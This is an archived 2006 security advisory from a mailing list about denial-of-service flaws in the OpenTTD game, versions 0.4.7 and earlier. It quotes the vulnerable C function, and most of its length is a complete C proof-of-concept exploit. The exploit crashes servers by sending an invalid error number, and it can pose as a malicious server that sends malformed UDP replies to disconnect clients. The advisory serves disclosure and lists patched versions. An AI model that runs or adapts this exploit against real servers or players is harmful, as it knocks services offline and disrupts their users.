Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] OpenTTD Multiple DoS

Subject: [NEWS] OpenTTD Multiple DoS
Date: 27 Apr 2006 15:11:45 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  OpenTTD Multiple DoS
------------------------------------------------------------------------


SUMMARY

" <http://www.openttd.org/> OpenTTD is a clone of the Microprose game 
"Transport Tycoon Deluxe", a popular game originally written by Chris 
Sawyer. It attempts to mimic the original game as closely as possible 
while extending it with new features."

Improper user input handling allow attackers to disconnect and crash the 
OpenTTD Client and Server.

DETAILS

Vulnerable Systems:
 * OpenTTD version 0.4.7 and prior

Immune Systems:
 * OpenTTD version 0.4.8
 * OpenTTD nightly build revision 4531 and above

Program Termination Through Big Error Number:
Both client and server handle a type of command (PACKET_SERVER_ERROR and 
PACKET_CLIENT_ERROR) for the visualization of some pre-built errors in the 
console.

The problem happens when an attacker sends an invalid big error number (8 
bit) which forces the program to terminate spontaneously through the usage 
of the error() function.

The bug is exploitable only in-game so the attacker must have access to 
the server: his IP must not be banned, he must know the password if it has 
been set and the server must not be full.

Vulnerable Code:
From strings.c:

char *GetStringWithArgs(char *buffr, uint string, const int32 *argv)
{
        uint index = GB(string,  0, 11);
        uint tab   = GB(string, 11,  5);

    ...

        if (index >= _langtab_num[tab]) {
                error(
                        "!String 0x%X is invalid. "
                        "Probably because an old version of the .lng 
file.\n", string
                );
        }

        return FormatString(buffr, GetStringPtr(GB(string, 0, 16)), argv, 
GB(string, 24, 8));
}

Broadcast Clients Disconnection in Multiplayer Menu:
Clients are affected by an harmless bug when they handle UDP packets.
The first 2 bytes of each UDP packet are a 16 bit number which specifies 
the size of the packet.
If this value in a received packet is invalid (for example too small) the 
client returns immediately to the main menu.
This bug becomes problematic when a malicious server visible in the master 
server list sends invalid replies to the queries sent from the clients 
which want to play online and will be no longer able to do it due to the 
returning to the main menu.

Proof of Concept:
winerr.h can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html > 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html 

openttdx.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

#define VER         "0.1"
#define PORT        3979
#define GAMEVER     "0.4.7"

u_char *openttd_info(u_char *data);
void delimit(u_char *data);
int tcp_send(int sd, u_char *buff, int len);
int tcp_recv(int sd, u_char *in);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err);
int mycpy(u_char *dst, u_char *src);
int randstr(u_char *data, int len, u_int *seed);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

typedef enum {
 NETWORK_ERROR_GENERAL, // Try to use thisone like never

 // Signals from clients
 NETWORK_ERROR_DESYNC,
 NETWORK_ERROR_SAVEGAME_FAILED,
 NETWORK_ERROR_CONNECTION_LOST,
 NETWORK_ERROR_ILLEGAL_PACKET,

 // Signals from servers
 NETWORK_ERROR_NOT_AUTHORIZED,
 NETWORK_ERROR_NOT_EXPECTED,
 NETWORK_ERROR_WRONG_REVISION,
 NETWORK_ERROR_NAME_IN_USE,
 NETWORK_ERROR_WRONG_PASSWORD,
 NETWORK_ERROR_PLAYER_MISMATCH, // Happens in CLIENT_COMMAND
 NETWORK_ERROR_KICKED,
 NETWORK_ERROR_CHEATER,
 NETWORK_ERROR_FULL,
} NetworkErrorCode;

typedef enum {
 STATUS_INACTIVE,
 STATUS_AUTH, // This means that the client is authorized
 STATUS_MAP_WAIT, // This means that the client is put on hold because 
someone else is getting the map
 STATUS_MAP,
 STATUS_DONE_MAP,
 STATUS_PRE_ACTIVE,
 STATUS_ACTIVE,
} ClientStatus;

typedef enum {
 MAP_PACKET_START,
 MAP_PACKET_NORMAL,
 MAP_PACKET_PATCH,
 MAP_PACKET_END,
} MapPacket;

typedef enum {
 OWNER_TOWN  = 0xf, // a town owns the tile
 OWNER_NONE  = 0x10, // nobody owns the tile
 OWNER_WATER  = 0x11, // "water" owns the tile
 OWNER_SPECTATOR = 0xff, // spectator in MP or in scenario editor
} Owner;

enum {
 NETWORK_NAME_LENGTH        = 80,
 NETWORK_HOSTNAME_LENGTH    = 80,
 NETWORK_REVISION_LENGTH    = 10,
 NETWORK_PASSWORD_LENGTH    = 20,
 NETWORK_PLAYERS_LENGTH     = 200,
 NETWORK_CLIENT_NAME_LENGTH = 25,
 NETWORK_RCONCOMMAND_LENGTH = 500,
 NETWORK_NUM_LANGUAGES      = 4,
};

typedef enum {
 PACKET_SERVER_FULL,
 PACKET_SERVER_BANNED,
 PACKET_CLIENT_JOIN,
 PACKET_SERVER_ERROR,
 PACKET_CLIENT_COMPANY_INFO,
 PACKET_SERVER_COMPANY_INFO,
 PACKET_SERVER_CLIENT_INFO,
 PACKET_SERVER_NEED_PASSWORD,
 PACKET_CLIENT_PASSWORD,
 PACKET_SERVER_WELCOME,
 PACKET_CLIENT_GETMAP,
 PACKET_SERVER_WAIT,
 PACKET_SERVER_MAP,
 PACKET_CLIENT_MAP_OK,
 PACKET_SERVER_JOIN,
 PACKET_SERVER_FRAME,
 PACKET_SERVER_SYNC,
 PACKET_CLIENT_ACK,
 PACKET_CLIENT_COMMAND,
 PACKET_SERVER_COMMAND,
 PACKET_CLIENT_CHAT,
 PACKET_SERVER_CHAT,
 PACKET_CLIENT_SET_PASSWORD,
 PACKET_CLIENT_SET_NAME,
 PACKET_CLIENT_QUIT,
 PACKET_CLIENT_ERROR,
 PACKET_SERVER_QUIT,
 PACKET_SERVER_ERROR_QUIT,
 PACKET_SERVER_SHUTDOWN,
 PACKET_SERVER_NEWGAME,
 PACKET_SERVER_RCON,
 PACKET_CLIENT_RCON,
 PACKET_END // Should ALWAYS be on the end of this list!! (period)
} PacketType;

typedef enum {
 DESTTYPE_BROADCAST,
 DESTTYPE_PLAYER,
 DESTTYPE_CLIENT
} DestType;

typedef enum {
 NETWORK_GAME_PASSWORD,
 NETWORK_COMPANY_PASSWORD,
} NetworkPasswordType;

typedef enum {
 PACKET_UDP_CLIENT_FIND_SERVER,
 PACKET_UDP_SERVER_RESPONSE,
 PACKET_UDP_CLIENT_DETAIL_INFO,
 PACKET_UDP_SERVER_DETAIL_INFO, // Is not used in OpenTTD itself, only for 
external querying
 PACKET_UDP_SERVER_REGISTER, // Packet to register itself to the master 
server
 PACKET_UDP_MASTER_ACK_REGISTER, // Packet indicating registration has 
succedeed
 PACKET_UDP_CLIENT_GET_LIST, // Request for serverlist from master server
 PACKET_UDP_MASTER_RESPONSE_LIST, // Response from master server with 
server ip's + port's
 PACKET_UDP_SERVER_UNREGISTER, // Request to be removed from the 
server-list
 PACKET_UDP_END
} PacketUDPType;



struct  sockaddr_in peer;

int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            i,
            on   = 1,
            psz,
            len;
    u_short port = PORT;
    u_char  password[NETWORK_PASSWORD_LENGTH],
            *buff,
            *ver,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "OpenTTD <= 0.4.7 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n"
            " Use the host 0 for going in listening mode and testing the 
clients UDP bug\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    buff = malloc(0xffff);
    if(!buff) std_err();

    if(!peer.sin_addr.s_addr) {
        printf(
            "- clients testing mode\n"
            "  the tool will simply emulates a server which sends 
malformed replies to the\n"
            "  clients. This bug has power only in Internet where any 
client in the world\n"
            "  will be no longer able to play online because it will exit 
from the\n"
            "  multiplayer menu everytime if there is a malicious server 
online in the\n"
            "  master server's list.\n"
            "  In this PoC you can test the effects in LAN versus your 
computers.\n");

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, 
sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        psz = sizeof(peer);

        printf("- clients:\n");
        for(;;) {
            len = recvfrom(sd, buff, 0xffff, 0, (struct sockaddr *)&peer, 
&psz);

            printf("  %s:%hu\n", inet_ntoa(peer.sin_addr), 
ntohs(peer.sin_port));

            buff[0] = 0;    // this is enough
            buff[1] = 0;
            sendto(sd, buff, 2, 0, (struct sockaddr *)&peer, 
sizeof(peer));
        }

        close(sd);
        free(buff);
        return(0);
    }

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed = time(NULL);
    *password = 0;

    p = buff;
    *p++ = 3;       // 16 bit size, pre-built here
    *p++ = 0;
    *p++ = PACKET_UDP_CLIENT_FIND_SERVER;

    printf("- query server\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    len = send_recv(sd, buff, p - buff, buff, 0xffff, 0);
    close(sd);

    if(len < 0) {
        ver = GAMEVER;
    } else {
        ver = openttd_info(buff);
        if(!ver) ver = GAMEVER;
    }

redo:
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("- connect...");
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    printf(" done\n");

    printf("- join request\n");
    p = buff;
    *p++ = PACKET_CLIENT_JOIN;                      // command
    p   += mycpy(p, ver);                           // version
    p   += randstr(p, NETWORK_NAME_LENGTH, &seed);  // name
    *p++ = 1;                                       // playas (0 or 
OWNER_SPECTATOR)
    *p++ = 0;                                       // client_lang
    p   += randstr(p, NETWORK_NAME_LENGTH, &seed);  // unique id

    if(tcp_send(sd, buff, p - buff) < 0) std_err();
    len = tcp_recv(sd, buff);
    if(len < 0) std_err();


    if(buff[0] != PACKET_SERVER_WELCOME) {
        if(buff[0] == PACKET_SERVER_FULL) {
            printf("\nError: the server is full, retry later\n\n");
            exit(1);

        } else  if(buff[0] == PACKET_SERVER_BANNED) {
            printf("\nError: you are banned\n\n");
            exit(1);

        } else if(buff[0] == PACKET_SERVER_NEED_PASSWORD) {
            printf("- server is protected, insert the right password:\n  
");
            fgets(password, sizeof(password), stdin);   // ASKED EVERYTIME 
SINCE
            delimit(password);                          // WE NEED ONLY 
ONE CONN

            p = buff;
            *p++ = PACKET_CLIENT_PASSWORD;          // command
            *p++ = NETWORK_GAME_PASSWORD;           // type
            p   += mycpy(p, password);              // password

            if(tcp_send(sd, buff, p - buff) < 0) std_err();
            len = tcp_recv(sd, buff);
            if(len < 0) std_err();

            if(buff[0] != PACKET_SERVER_WELCOME) {
                close(sd);
                goto redo;                          // need to reconnect
            }

        } else {
            switch(buff[1]) {
                case NETWORK_ERROR_NOT_AUTHORIZED:  p = "not authorized";  
 break;
                case NETWORK_ERROR_NOT_EXPECTED:    p = "not expected";    
 break;
                case NETWORK_ERROR_WRONG_REVISION:  p = "wrong revision";  
 break;
                case NETWORK_ERROR_NAME_IN_USE:     p = "name in use";     
 break;
                case NETWORK_ERROR_WRONG_PASSWORD:  p = "wrong password";  
 break;
                case NETWORK_ERROR_PLAYER_MISMATCH: p = "player mismatch"; 
 break;
                case NETWORK_ERROR_KICKED:          p = "kicked";          
 break;
                case NETWORK_ERROR_CHEATER:         p = "cheater";         
 break;
                case NETWORK_ERROR_FULL:            p = "not authorized";  
 break;
                default:                            p = "unknown error";   
 break;
            }
            printf("\n"
                "Error: player not accepted (%d)\n"
                "       %s\n"
                "\n", buff[0], p);
            exit(1);
        }
    }


    printf("- receive clients info\n");
    do {
        len = tcp_recv(sd, buff);
        fputc('.', stdout);
    } while(buff[1] != 1);
    fputc('\n', stdout);


    printf("- map request\n");
    p = buff;
    *p++ = PACKET_CLIENT_GETMAP;                    // command

    if(tcp_send(sd, buff, p - buff) < 0) std_err();
    len = tcp_recv(sd, buff);
    if(len < 0) std_err();

    printf("- receive map data\n");
    do {
        len = tcp_recv(sd, buff);
        fputc('.', stdout);
    } while((buff[0] == PACKET_SERVER_MAP) && (buff[1] < 2));
    fputc('\n', stdout);


    printf("- map ok\n");
    p = buff;
    *p++ = PACKET_CLIENT_MAP_OK;                    // command

    if(tcp_send(sd, buff, p - buff) < 0) std_err();


    printf("- send wrong error number\n");
    p = buff;
    *p++ = PACKET_CLIENT_ERROR;                     // command
    *p++ = 0xff;                                    // error number

    if(tcp_send(sd, buff, p - buff) < 0) goto check;
    //    len = tcp_recv(sd, buff);
    //    if(len < 0) std_err();

check:
    sleep(ONESEC);

    close(sd);

    printf("- check server:\n");
    for(i = 3; i;) {
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
            printf("\n  Server IS vulnerable!!!\n\n");
            break;
        }
        close(sd);
        printf("  try the check other %d times\n", --i);
        sleep(ONESEC);
    }
    if(!i) printf("\n  Server doesn't seem vulnerable\n\n");

    close(sd);
    free(buff);
    return(0);
}

u_char *openttd_info(u_char *p) {
    u_char  *ver;

    p += 2;         // skip 16 bit size
    if(*p != PACKET_UDP_SERVER_RESPONSE) return(NULL);      p++;
    printf("  game info version %hhu\n", *p++);
    printf("  companies_max     %hhu\n", *p++);
    printf("  players           %hhu\n", *p++);
    printf("  spectators_max    %hhu\n", *p++);
    printf("  server_name       %s\n",   p);                p += strlen(p) 
+ 1;
    ver = strdup(p);
    printf("  server_revision   %s\n",   p);                p += strlen(p) 
+ 1;
    printf("  server_lang       %hhu\n", *p++);
    printf("  use_password      %hhu\n", *p++);
    printf("  clients_max       %hhu\n", *p++);
    printf("  clients_on        %hhu\n", *p++);
    printf("  spectators        %hhu\n", *p++);
    printf("  game_date         %hu\n",  *(u_short *)p);    p += 2;
    printf("  start_date        %hu\n",  *(u_short *)p);    p += 2;
    printf("  map_name          %s\n",   p);                p += strlen(p) 
+ 1;
    printf("  map_width         %hu\n",  *(u_short *)p);    p += 2;
    printf("  map_height        %hu\n",  *(u_short *)p);    p += 2;
    printf("  map_set           %hhu\n", *p++);
    printf("  dedicated         %hhu\n", *p++);
    return(ver);
}

void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}

int tcp_send(int sd, u_char *buff, int len) {
    u_char  tb[2];

    len += 2;
    tb[0] = len;
    tb[1] = len >> 8;
    send(sd, tb, 2, 0);
    return(send(sd, buff, len - 2, 0));
}

int tcp_recv(int sd, u_char *buff) {
    int     t;
    u_short rem,
            len;
    u_char  tb[2],
            *p;

    recv(sd, tb, 1, 0);
    recv(sd, tb + 1, 1, 0);
    len = tb[0] | (tb[1] << 8);

    t = len - 2;
    if(t < 0) return(-1);
    rem = len = t;
    p   = buff;
    while(rem) {
        t = recv(sd, p, rem, 0);
        if(t <= 0) return(-1);
        p += t;
        rem -= t;
    }

    return(len);
}


int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);

    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, 
sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", 
stdout);
            exit(1);
        }

    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}

int randstr(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p = data;
    const static u_char table[] =
                "0123456789"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz";

    rnd = *seed;
    len = rnd % len;                            // WE NEED THE MAXIMUM 
LENGTH
    if(len < (NETWORK_CLIENT_NAME_LENGTH + 2)) {
        len = NETWORK_CLIENT_NAME_LENGTH + 2;   // FOR EXPLOITING THE 
GARBAGE PROBLEM
    }

    while(len--) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        rnd >>= 3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p++ = 0;

    *seed = rnd;
    return(p - data);
}

int mycpy(u_char *dst, u_char *src) {
    u_char  *p;

    for(p = dst; *src; src++, p++) {
        *p = *src;
    }
    *p++ = 0;
    return(p - dst);
}

int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/openttdx-adv.txt> 
http://aluigi.altervista.org/adv/openttdx-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] OpenTTD Multiple DoS, SecuriTeam <=